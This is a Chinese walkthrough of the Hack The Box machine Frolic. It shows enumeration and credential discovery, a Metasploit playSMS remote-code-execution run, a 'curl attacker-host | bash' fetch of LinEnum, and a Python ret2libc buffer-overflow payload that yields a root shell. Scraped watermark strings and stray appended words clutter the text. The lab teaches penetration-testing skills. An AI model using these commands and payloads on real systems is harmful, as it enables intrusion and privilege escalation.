【HTB系列】靶机Frolic的***测试详解

 

本文做者:是大方子(Ms08067实验室核心成员)php

Hack The Box是一个CTF挑战靶机平台,在线***测试平台。它能帮助你提高***测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。python

https://www.hackthebox.eu/
平台上有不少靶机,从易到难,***每***一台机器都会得到相应积分,经过积分排名设有名人堂。今天要实验的是靶机Frolic。linux

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

首先咱们用nmap扫描靶机开放的端口和服务:ios

nmap -sV -sT -sC 10.10.10.111  

结果以下nginx

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 14:49 CST  
Nmap scan report for 10.10.10.111  
Host is up (0.33s latency).  
Not shown: 996 closed ports  
PORT     STATE SERVICE     VERSION  
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)  
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)  
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)  
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)  
9999/tcp open  http        nginx 1.10.3 (Ubuntu)  
|_http-server-header: nginx/1.10.3 (Ubuntu)  
|_http-title: Welcome to nginx!  
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Host script results:  
|_clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s  
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  
| smb-os-discovery:   
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)  
|   Computer name: frolic  
|   NetBIOS computer name: FROLIC\x00  
|   Domain name: \x00  
|   FQDN: frolic  
|_  System time: 2019-03-31T12:20:18+05:30  
| smb-security-mode:   
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  
| smb2-security-mode:   
|   2.02:   
|_    Message signing enabled but not required  
| smb2-time:   
|   date: 2019-03-31 14:50:18  
|_  start_date: N/A  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 63.62 seconds  

能够看到22号端口上的SSH,139和445的SMB,和9999端口上的http。git

咱们先检查下SMB有没有能够利用的点,这里用smbmap看看靶机的文件的共享状况github

smbmap -H 10.10.10.111 
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出现2个共享可是咱们没有访问的权限。shell

咱们去http看下ubuntu

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
*技巧提示:可使用nc -zx IP 端口 能够快速检测目标地址指定端口是否打开。

在这咱们 nc -zx 10.10.10.111 1880 会出现

10.10.10.111: inverse host lookup failed:  Unknown host
(UNKNOWN) [10.10.10.111] 1880 (?) open

这里的open说明1880端口是打开的

一个欢迎页面,底下有一行Thankyou for using nginx. http://forlic.htb:1880vim

咱们访问下10.10.10.111:1880

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

一个后台,咱们须要帐号密码,尝试一些常见默认帐号和密码登录会出现提示登录失败,可是当我用admin:password的时候,页面会一直卡着不会跳出任何提示,也不知道为何,并且这里由于作了安全措施失败屡次会让咱们等10分钟再试,因此是不能用过暴力破解来获得帐号密码的

咱们用gobuster爆破下网站的目录

gobuster -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o fronlic-gobuster.log -t 40  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

Gobuster仍是扫描出了部分,咱们直接看看这些都是什么

/backup:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/dev:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/test:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/admin:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

咱们看到backup里面有3个文件(password.txt user.txt loop/)

咱们访问下http://10.10.10.111:9999/backup/password.txt

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出现内容:password - imnothuman

咱们访问下http://10.10.10.111:9999/backup/user.txt

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出现内容:user - admin
这样咱们就获得一组帐号密码:admin: imnothuman

去刚刚那个Node-RED尝试登录

2289839-20210205175305123-593917374.jpg

发现不行,咱们去/admin试试

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

提示出现 You have left 2 attempt,我用burp抓包发现并无任何信息,我查看了源码的JS发现这个

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

做者的一个小把戏,咱们在页面上输入 admin: superduperlooperpassword_lol

进去发现是一堆乱七八糟的东西

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

应该是一种编码,这也把这堆东西复制到谷歌里面去找到了这个网站

https://www.dcode.fr/ook-language

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

访问下/ asdiSIAJJ0QWE9JAS

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

用vim写入frolic.bas64(里面会有空格出现记得去除,能够用vim的命令行输入 s/ //g去)

用base64进行解码

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出现乱七八糟的东西,由于是别的文件数据,咱们导出到一个文件并检查类型

base64 -d frolic.bas64 > frolic  
file frolic  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

发现是一个ZIP文件

用mv给它重命名下,并用zipinfu查看下信息

mv frolic frolic.zip  
zipinfo frolic.zip  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

解压发现须要密码

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

咱们用zip2john把这个压缩文件转换为密码HASH,而后用john去破解下

zip2john frolic.zip > frolic.zip.hash  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
john --wordlist=/usr/share/wordlists/rockyou.txt frolic.zip.hash  
john frolic.zip.hash --show 
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

找到密码:password
而后再次解压

Cat下内容感受像是16进制,咱们转换下试试看

cat index.php | xxd -r -ps  

把这些内容输出到一个文件内并用base64转码下,注意这里的输出到文件带有换行须要去除文件里面的换行

cat index.php | xxd -r -p > index.php.b64  

这段一样须要解密,我一样用GOOGLE找到对应破解的网站

网站:https://www.dcode.fr/langage-brainfuck

解密结果:idkwhatispass

到这里已经没什么线索,咱们总共获得2组密码,说明应该还有网页没有被咱们找到,密码应该属于没有被咱们找到的网页的

这里咱们在第一次爆破的基础上继续爆破输入命令

for i in admin dev test backup loop;do gobuster -u http://10.10.10.111:9999/$i -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 -o Fronlic-gobuster-$i.log;done  

这段命令就是让admin dev test backup loop和http://10.10.10.111:9999/进行组合而后调用gobuster进行扫描输出,咱们须要等待段时间

咱们会找到在/dev下还有个/backup目录

访问下

而后尝试用咱们刚刚获得的密码进行登录。

正确的帐号密码:admin:idkwhatispass

咱们查找看看playsms有没有已知能够利用的漏洞

searchsploit playsms  

咱们直接使用1.4版本的 远程代码执行漏洞

咱们能够 searchsploit-x Path 查看对应的漏洞说明,手动利用

也可使用msf中集成好的

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass  
password => idkwhatispass  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999  
rport => 9999  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111  
rhosts => 10.10.10.111  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms  
targeturi => /playsms  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.15.36  
lhost => 10.10.15.36  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > run  

成功后会返回一个会话

获得user flag

接下来就是提权得到root权限

这里咱们用到LinEnum用来检查能够用来提权的利用点
Github:https://github.com/rebootuser/LinEnum

使用python的SimpleHTTPServer的模块把LineEnum上传到靶机执行

而后在shell中执行

curl http://10.10.15.36:8000/LinEnum.sh | bash  

在这里咱们看到带有SUID的文件有一个是ayush的目录下

能够看到这个文件咱们拥有可执行权限

会获取咱们的输入而后输出

咱们经过

base64 rop  

获得这个文件内容的的编码内容,而后在放回到本机对这个文件解码进行查看调试

base64 -d rop.ba64 > rop  
chmod +x rop  
./rop hello  

而后咱们本地用gdb进行调试

gdb rop  

 

咱们生产一个100长度的输入给rop

结果以下

发现程序被终止并提示了SIGSEGV
由于输入过多致使溢出

咱们记录下上面发生错误的位置 0x41474141

转化下就是AGAA

就是咱们刚刚输入的这个位置

用pattern_offset 0x1474141计算下位置,是52

而后咱们用python输出52个A

同时在后面加上本身的信息

转化下0x7a666473

说明52个字符后就会产生溢出。

如今咱们须要知道/bin/sh的地址,我不会像之前那样经过在环境变量中加载字符串来实现。有一种更好的方法,首先咱们须要找到/bin/shin 的偏移量libc,咱们将用它strings来获取地址:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh  

地址:0x0015ba0b

而后咱们须要地址libc,咱们可使用ldd它来获取它:

ldd rop  

地址:0xb7e19000

而后咱们将整合两个地址来获取 /bin/sh的真正地址

/bin/sh:0x0015ba0b+ 0xb7e19000=0xb7f74a0b

如今咱们须要的system()和exit()的地址

这里我须要在靶机上运行gdb查看,可是靶机没有gdb,咱们须要从github上而后下载传到靶机上,靶机能够用wget命令进行下载,而后给gdb 加执行权限,最后对rop进行调试

Github:https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32

wget http://10.10.15.36:8000/gdb-7.10.1-x32  
mv gdb-7.10.1-x32 gdb  
chmod +x gdb  
./gdb /home/ayush/.binary/rop  

经过
(gdb)p system
(gdb)p exit

写成payload

#!/usr/bin/python  
    
import struct  

buf = "A" * 52  
system = struct.pack("I" ,0xb7e53da0)  
exit = struct.pack("I" ,0xb7e479d0)  
shell = struct.pack("I" ,0xb7f74a0b)  
print buf + system + exit + shell

而后把exp上传到靶机中去获得root权限

转载请联系做者并注明出处!

Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全***:***测试实战指南》,《内网安全***:***测试实战指南》,《Python安全***:***测试实战指南》,《Java代码安全审计(入门篇)》等书籍。团队公众号按期分享关于CTF靶场、内网***、APT方面技术干货,从零开始、以实战落地为主,致力于作一个实用的干货分享型公众号。 

相关文章
相关标签/搜索